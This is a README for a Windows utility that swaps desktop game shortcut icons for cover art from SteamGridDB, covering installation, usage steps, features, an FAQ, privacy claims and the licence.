🎮 game-icons-studio - Turn shortcuts into visual game art

Game-icons-studio organizes your desktop game shortcuts. It replaces standard icons with high-quality game cover art. The software communicates with the SteamGridDB database to fetch art matches for your installed games. It ensures your desktop looks clean and uniform. You spend less time navigating folders and more time playing games.

This application runs on any Windows 10 or Windows 11 computer. You need a stable internet connection to fetch the cover art. The app creates local files to store your settings. It requires standard read and write permissions in your user folder.

Follow these steps to set up the software on your machine:

1. Visit the releases page to download the latest version of the installer.
2. Locate the file named game-icons-studio-setup.exe in your Downloads folder.
3. Double-click the file to start the installation process.
4. Follow the prompts on your screen.
5. Launch the application from your Start menu once the installation finishes.

The interface displays a list of your detected game shortcuts. Follow this workflow to convert them:

1. Open the application.
2. Select your game library folder. The app scans this folder for existing shortcuts.
3. Click the Scan button. The software finds the title of each game.
4. Preview the suggested artwork for every entry.
5. Click the Apply button. The software updates the icon of each shortcut on your desktop.

• Automatic Scanning: The app finds all desktop shortcuts without manual input.
• Database Integration: It pulls images from SteamGridDB to ensure high resolution.
• One-Click Updates: You apply new art to your entire library at once.
• Custom Selection: You choose specific art styles if multiple options exist for a title.
• Restore Function: You undo recent changes to revert icons to their original appearance.

Does this damage my original game files? No. The software only modifies the desktop shortcut icons. Your game installation files remain untouched.

Do I need a Steam account? No. The application identifies games by their names. It does not access your personal Steam credentials or game data.

What if the software misses a game? You use the manual search tool inside the app. Type the exact title of the game to find missing artwork.

Why does the icon not change? Windows caches icon images. Right-click your desktop and select Refresh to update the visuals immediately.

The software operates locally on your computer. It does not track your gaming habits or upload personal data to external servers. It only sends requests to the image database. The developers do not collect metrics, usage logs, or personal information.

If the application fails to fetch images, check your firewall settings. Sometimes, security software blocks the connection to the image database. Ensure that the app has permission to access the internet. If the app displays an error, restart the computer and run the installer again. This resolves most installation issues.

This project uses the MIT License. You use this software for any purpose. You share it with friends if you want. The license provides no warranty for the software. Use it at your own risk.